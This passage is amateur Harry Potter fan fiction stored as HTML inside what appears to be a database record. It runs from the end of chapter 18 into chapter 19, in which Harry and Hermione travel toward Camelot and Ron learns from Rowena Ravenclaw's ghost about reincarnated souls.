style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, we can not be friends, never.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Ulrich what are you saying, of course\nwe can.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;There&#8217;s something about me that you\nwon&#8217;t quite understand, I&#8217;m going to leave.&nbsp;\nIt&#8217;s better if I do.&#8221;&nbsp; Ulrich\nsighed.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Ulrich, Torrin and I are going to\nCamelot to hide the scepter, it will be safe there.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, this is the last time I&#8217;m\ngoing to speak to you, I&#8217;m dangerous and you should stay away from me.&#8221;&nbsp; His eyes narrowing with bitterness.&nbsp; &#8220;My father is going to die.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Ulrich you don&#8217;t know that, you&#8217;re not\na diviner.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, I know he&#8217;s going to die.&nbsp; Just trust me.&#8221; Ulrich said as a smirk so\nmuch like his father&#8217;s graced his flawless face.&nbsp; &#8220;Now you should go and leave me, or I won&#8217;t\nbe held responsible for things I would do to you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine wide eyed stared at Ulrich,\n&#8220;don&#8217;t go down that path Ulrich, all it will lead to is your own death and the\nloss of your soul.&nbsp; Please consider what\nI have said.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Ulrich nodded, &#8220;I will consider it.&#8221; He\nsmiled.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine noticed it looked forced, but\nshe shook her head back and forth leaving Ulrich staring out his window at her.&#8212;</i> Hermione turned over and her head rested against\nHarry&#8217;s chest as they continued to sleep the night away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ah\nbeware the gypsies they will take your women and sell them for a profit.&nbsp; Oh well hope you enjoyed this chapter, stay\ntuned for Chapter 19&#8212;The Village People.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 19, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Alright all the Harry Potter characters belong to\nJ.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich,\nTorrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp;\nThose are mine. So please don&#8217;t sue me because I don&#8217;t have anything ;)</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 19&#8212;The Village People</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">They&nbsp;\nstood&nbsp; inside the small hovel,\nboth of them watched as the young lady walked out of her bedroom.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, Torrin? What are you two doing\nhere?&#8221; She asked surprised to see them in her house.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine folded her arms across her\nbosom, &#8220;where are you going Alina?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Alina looked at Jasmine and then at\nTorrin who looked just as disappointed.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Answer the question Alina.&#8221; Torrin said\nfirmly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Who do you two think you are my\nparents?&nbsp; In case you have forgotten I&#8217;ve\nnever needed parents so stop treating me like a child.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Alina,&#8221; Jasmine&#8217;s voice was\nimpatient.&nbsp; &#8220;Where are you going?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;m going with Ulrich.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You really shouldn&#8217;t, he&#8217;s not the same\nAlina.&nbsp; I could see it in his eyes.&#8221;\nJasmine was concerned.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You don&#8217;t know what you&#8217;re talking\nabout, just because his father is the most evil man on the face of the earth\ndoesn&#8217;t mean that Ulrich is exactly like him.&#8221; Alina gathered some of her belongings\ninto a leather knapsack.&nbsp; She went into\nthe small kitchen and pulled food from the cupboard, some salted meat and\nfruit.&nbsp; She put&nbsp; it into her sack, closed it and swung it over\nher shoulder.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Alina, Jasmine told me that she\nsuspects Ulrich is going off to find his father to murder him.&#8221; Torrin said\nwith worry.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Well I wouldn&#8217;t blame him, you should\nsee how Ulrich&#8217;s father treats him.&#8221; Alina spat bitterly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No matter what Salazar Slytherin has\ndone, Ulrich has no authority to take a life. He would face serious\nconsequences, even if his father is trying to dominate the world.&nbsp; You would be considered an accomplice if you\nare even standing next to him.&nbsp; Is that\nwhat you want?&nbsp; You would be thrown in a\ndungeon for the rest of your life.&#8221; Jasmine&#8217;s voice was full of concern.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I would risk it.&nbsp; I love him Jasmine, Torrin.&#8221; She looked at\nboth of them.&nbsp; &#8220;Ulrich and I are going to\nbe happy together, as soon as his father is out of the way.&#8221;&nbsp; Alina said and she headed for the door, she\nturned around looking at the two of them with a small smirk.&nbsp; &#8220;Don&#8217;t worry about me, you know I always\nmanage.&nbsp; I&#8217;ll be fine.&nbsp; Now go and hide that scepter, humanity is\ncounting on you to keep it safe.&#8221; Alina smiled brightly, she turned, her\nflaming red hair whipping around gracefully while she walked away from them,\nout on her own once again.&#8212;</i> Harry\nstirred from his sleep, he slowly opened his eyes and the world came into focus\nwell as much as it could for him anyway. He turned his head and found Hermione\nlooking at him.&nbsp; Her chocolate eyes were\nfilled with a sweet admiration for him, he could see she was glancing all about\nhis face, when his gaze met hers he noticed she let a tiny smile curve upon her\nlips.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Morning,&#8221;\nHarry covered his mouth with his hand fighting back a yawn.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Morning.&#8221;\nShe said.&nbsp; Hermione lifted her hand\nrunning her fingers through his raven hair, gently and affectionately massaging\nhis scalp. He closed his eyes again, he sighed in comfort, he loved the feeling\nof her fingers in his hair.&nbsp; He could sit\nthere all day just letting her play with his hair, it just felt so wonderful. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221;\nShe spoke quietly, &#8220;we should get ready and head out.&nbsp; We still have at least a day&#8217;s worth of\ntravel. And hopefully sometime by tomorrow we should be in Camelot.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nopened his eyes looking at her, &#8220;well then you should stop that.&#8221; He signaled\nlooking up at her fingers still threading through his hair.&nbsp; &#8220;You&#8217;re just lulling me back into my peaceful\nslumber.&#8221; He smiled with contentment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nodding,\nHermione sat up and reached into her bag that was sitting next to her; she\npulled out the bag of food.&nbsp; She looked\nin the bag and pulled out an orange holding it out for him to take.&nbsp; &#8220;Here you go.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ntoo sat up and grabbed his glasses from off the large boulder next to him and\nslipped them on so he could see properly. &#8220;Thanks,&#8221; Harry said and took the\norange from Hermione&#8217;s outstretched hand and began to peel the fruit.&nbsp; He looked at her for a moment while\ncontinuing to peel the orange until it was free from its skin, he noticed she\nhad already changed her clothes and put her hair up into a fresh pony\ntail.&nbsp; &#8220;How long have you been awake?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About\nan hour.&#8221; She said crossing her legs underneath her to sit in an indian\nposition.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwhy didn&#8217;t you wake me earlier? We could have gotten on our way sooner.&#8221; Harry\ntore the orange in half, then in quarters.&nbsp;\nHe pulled one of the quarters in half and placed a piece of the orange\ninto his mouth. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwas gonna let you have at least another hour of rest, you were up later than me\nlast night.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;I just wanted to make sure we were safe before I went to sleep. I\ndon&#8217;t like sleeping out in the open where anything can jump out at us.&nbsp; That cave we spent the night in two nights\nago was the best place, shielded from the dangers of this forest.&nbsp; The hollowed out log we found the night\nbefore last, well was a bit better then how we slept just this past night.&#8221;&nbsp; Harry said finishing off the orange.&nbsp; He looked in the bag of food for something\nelse, he found a banana, some grapes.&nbsp;\n&#8220;Geese didn&#8217;t Dobby put anything but fruit in here?&#8221; He said in half\namusement and half annoyance. &#8220;I mean I like fruit as much as the next guy, but\nthat&#8217;s all that seems to be in here.&#8221;&nbsp; He\ncontinued looking and to his surprise he had also found a piece of carrot cake.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\neat the cake slice, I grew tired of fruit as well so I had some of the cake.\nIt&#8217;s very good.&nbsp; The elves did a good job\non it.&#8221; Hermione said while watching Harry continue to look through the bag. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\njust shrugged and pulled a piece of the cake out and began to eat it.&nbsp; It was surprisingly moist and the cream\nfrosting was still smooth and tasted like vanilla.&nbsp; &#8220;Well you&#8217;re right, it&#8217;s good.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While\nHarry finished off his cake piece, Hermione dug in her travel bag again and\npulled out her toothbrush, toothpaste and a bottle of water, handing it to\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsmiled with thanks and appreciation, &#8220;what would I do without you?&#8221; He had\nforgotten to pack his own teeth cleaning supplies, and he was sure lucky that\nhe had Hermione around who thought of every little thing they might need.&nbsp; She of course didn&#8217;t count on Harry\nforgetting something very important like his teeth cleaning supplies.&nbsp; Besides she really didn&#8217;t mind him using\nhers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstood and stretched up, bending back a little to get rid of stiff ache in his\nback from sleeping on the ground.&nbsp; He\nheard several tiny cracks as the tension in his back released.&nbsp; He bent down and picked up his bag, which he\nhad used as a pillow and held it in his left hand while carrying Hermione&#8217;s\nteeth cleaning supplies in his right.&nbsp;\n&#8220;I&#8217;ll be back.&#8221;&nbsp; With a smile he\nturned and headed further into the woods where Hermione couldn&#8217;t see him while\nhe took care of his bathroom business.&nbsp;\nSome things should be kept private even from the one you love, and going\nto the bathroom was one of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked around the room in amazement, wondering why it was kept a secret. He\nstared at the portrait that seemed to look exactly like him, except he himself\nhad freckles and the guy in the portrait didn&#8217;t. &#8220;This is just freaky,&#8221; he said\nout loud. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Walking\nover to the book case Ron pulled out a book.&nbsp;\nBut it wasn&#8217;t a book, it was a diary.&nbsp;\nRon read the cover out loud to himself, &#8220;I belong to Jasmine\nRavenclaw.&nbsp; If you find this please\nreturn it to me, or else I will hex you so bad you&#8217;ll have tentacles growing\nout your ears.&nbsp; And don&#8217;t think I won&#8217;t do\nit Torrin.&#8221;&nbsp; Ron chuckled, thinking that\nthis Torrin fellow would probably keep this diary just to irritate this Jasmine\nlady.&nbsp; And for some reason that last part\nabout the hexing sounded a lot like what Hermione would say to someone who\nmight be snooping around in her stuff.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nopened the diary and was about to read the first page when a feminine voice\ncaught his attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nshouldn&#8217;t read that, some thoughts in there are very private.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsnapped the diary closed and stood up, he looked in the direction of the voice\nand saw a ghost.&nbsp; &#8220;Who are you, and why\nare you spying on me?&#8221; He said eyeing the ghost suspiciously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot spying on you, I occupy this room.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nwell you shouldn&#8217;t sneak up on people.&nbsp;\nIt&#8217;s not very nice.&#8221; Ron sat down again and opened the diary.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did\nyou not hear me Ronald Weasley? I said you shouldn&#8217;t read that diary.&#8221; The\nghost was irritated.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndoes it mat&#8212;hey!&nbsp; How do you know who I\nam? I&#8217;ve never seen you before.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow a lot, let&#8217;s just say I can partially read your mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked at the ghost wide eyed with shock, &#8220;you can read my mind?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not\nvery well, the only thing I get out of your head is that your name is Ronald\nWeasley, you have four older brothers and a younger sister, who is in love with\nan&#8212;&#8221; She paused with a smirk, &#8220;asshole. At least that&#8217;s what you think about\nDraco Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s\neyes narrowed at the very sound of Draco&#8217;s name. &#8220;That guy is gonna rue the day\nhe&#8212;&#8221; The ghost interrupted him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nyes we all know how you feel about Draco Malfoy.&#8221; She said with an annoying\nwave of her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Feeling\nangry, Ron couldn&#8217;t help his glare at the ghost. &#8220;Just who are you?&#8221;&nbsp; He lifted the diary so she could see it. &#8220;Is\nthe reason you don&#8217;t want me to read this because it belonged to you at one\ntime?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nno silly boy.&#8221;&nbsp; She said as she floated\nabout the room before sitting in the chair across from Ron.&nbsp; &#8220;First of all, I was once called Rowena\nRavenclaw.&nbsp; You might have heard of me.&#8221;\nShe said with a smirk that told him she enjoyed her fame.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nrolled his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey!&#8221;\nRowena said glaring, but she couldn&#8217;t help the amusement appearing upon her\ntransparent face. &#8220;Okay maybe I&#8217;m a little proud of my school, you students are\ndoing so well.&#8221;&nbsp;&nbsp; She smiled with pride.\n&#8220;Now, that diary belonged to Jasmine who was my daughter. So please forgive me\nif I&#8217;m a little hesitant to let a strange boy read her most private thoughts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nreally wanted to read what was in the diary, he could tell upon the anxious\nface that Rowena also wanted to know what was in there.&nbsp; &#8220;Well wouldn&#8217;t you like to read your\ndaughter&#8217;s thoughts, it would be like she was here with you again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nsighed glancing down at the table, &#8220;she kind of is already here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndo you mean?&#8221; Ron said very interested.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nlifted her head, peering into his eyes. Rowena was silent for a moment.&nbsp; &#8220;My daughter&#8217;s soul inhabits the body of your\nfriend Hermione Granger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s\neyes widened.&nbsp; &#8220;That&#8217;s impossible.&nbsp; Hermione well, is Hermione.&nbsp; She&#8217;s an original.&nbsp; There&#8217;s no one like her in the world, Muggle\nor Wizarding.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\ntook a breath and explained to Ron what she had explained to Harry and Hermione\na few days ago.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nyou are saying that I have this Kai Hufflepuff&#8217;s soul in me?&#8221;&nbsp; Finally, he was someone important.&nbsp; He liked it.&nbsp;\n&#8220;I can live with that.&#8221; Ron said with a proud smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Boy,\nyou certainly accepted it quickly.&#8221; Rowena said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nisn&#8217;t your soul in another body?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Because I chose not to travel,&#8221; Rowena gave a\nsoft smile. &#8220;I&#8217;m tired of Body Jumping. I will remain a spirit or ghost until\nmy mission is complete and then I will return to the comforts of the heavens.\nZeus, or as the Italians like to call him Jupiter is a very close friend of\nmine, and we spend our days just watching the mortals below. It&#8217;s really\nfulfilling.&nbsp; Jasmine&#8217;s soul likes to Body\nJump, I don&#8217;t think she&#8217;ll ever get tired of it.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI suppose there&#8217;s nothing like a restless soul to brighten humanity&#8217;s\nexistence.&#8221; Ron smiled as did Rowena.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nlate afternoon sun was streaming down on Harry and Hermione as they found\nthemselves trudging up a steep mountain; they had been hiking up the mountain\nside for a few hours.&nbsp; It was a good\nthing that both of them were in excellent shape or their legs would be killing\nthem by now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nknow it&#8217;s times like this that I&#8217;m sort of glad that I still have to live with\nthe Dursleys for part of the summer.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwas confused. &#8220;Why is that?&#8221;&nbsp; She asked\nwhile swinging her leg over a fallen tree, Harry did the same. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Since\nI have to help Dudley loose that weight, I get to go to Fitness World with him.\nThis climb won&#8217;t wear me out as quickly.&#8221; Harry replied as they were now on the\nother side of the tree and continuing on their way. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyes, I remember you saying something in your letters to me over the summer\nabout that.&#8221; Hermione nodded in remembrance. &#8220;How does Sirius feel about you\nspending half the summer with your horrible relatives?&nbsp; I didn&#8217;t think he would want to split up the\ntime with you for anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshrugged, &#8220;there&#8217;s nothing he can do about it. Dumbledore says it&#8217;s still\nnecessary.&#8221;&nbsp; Harry glanced over at her\nfor a moment, &#8220;at least I get the Christmas holidays and Easter breaks with\nSirius without having to divide of up my time, I only have to stay with the\nDursleys for the last month of the summer.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nthen you got to stay with Ron&#8217;s family for the last week of the summer.&#8221;\nHermione remembered she was invited to stay the last week too but had to\ndecline because she was under that orb&#8217;s influence. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,&#8221;\nHarry smiled a bit. &#8220;My uncle said he was not going to take me to the train station\nany more that I had better find a way of getting there on my own.&#8221;&nbsp; Harry shook his head back and forth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Jerk.&#8221;\nShe muttered quietly, mostly to herself.&nbsp;\nBut Harry heard her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nwas that?&#8221; He chuckled lightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsighed &#8220;oh Harry, I&#8217;m sorry but your uncle is a jerk.&nbsp; And you know I don&#8217;t like to talk badly about\npeople, but he deserves my anger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlaughed a bit, &#8220;I know. You can get angry with him all you want. I won&#8217;t stop\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\npulled on his arm to stop him from walking, she was about to say something when\nshe noticed that ahead of them were two extremely high walls on either side of\nthem.&nbsp; Her thoughts immediately flew from\nher mind when she also heard the restful breathing of something very large.&nbsp; Harry heard it too.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwalked slowly and very carefully ahead and the breathing echoed louder since\nthe walls around them seemed to amplify what ever was in there with them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nsaw it a mighty beast which was thankfully sleeping, Hermione was cringing at\nits extremely large body covered with brownish-red hair, it had at least five\nlegs but they were curled around it.&nbsp; No\ndoubt when it woke it would be very hungry.&nbsp;\nEvery once in a while it would open its mouth and you could see two rows\nof razor sharp teeth.&nbsp; It made kind of a\ngrowling, snarling noise while it snored peacefully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\ncould see a village off in the distance; the only problem was this creature was\nblocking the way through the trees.&nbsp; They\ncouldn&#8217;t go around the creature since there was that twenty foot or higher\nstone wall preventing anyone from going around it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nknow if you ask me it seems like this is a cage or something.&#8221; Harry whispered\nlooking around.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink it&#8217;s a wall to prevent what ever this beast is from getting into that\nvillage.&#8221; Hermione whispered back.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\npressed themselves against the 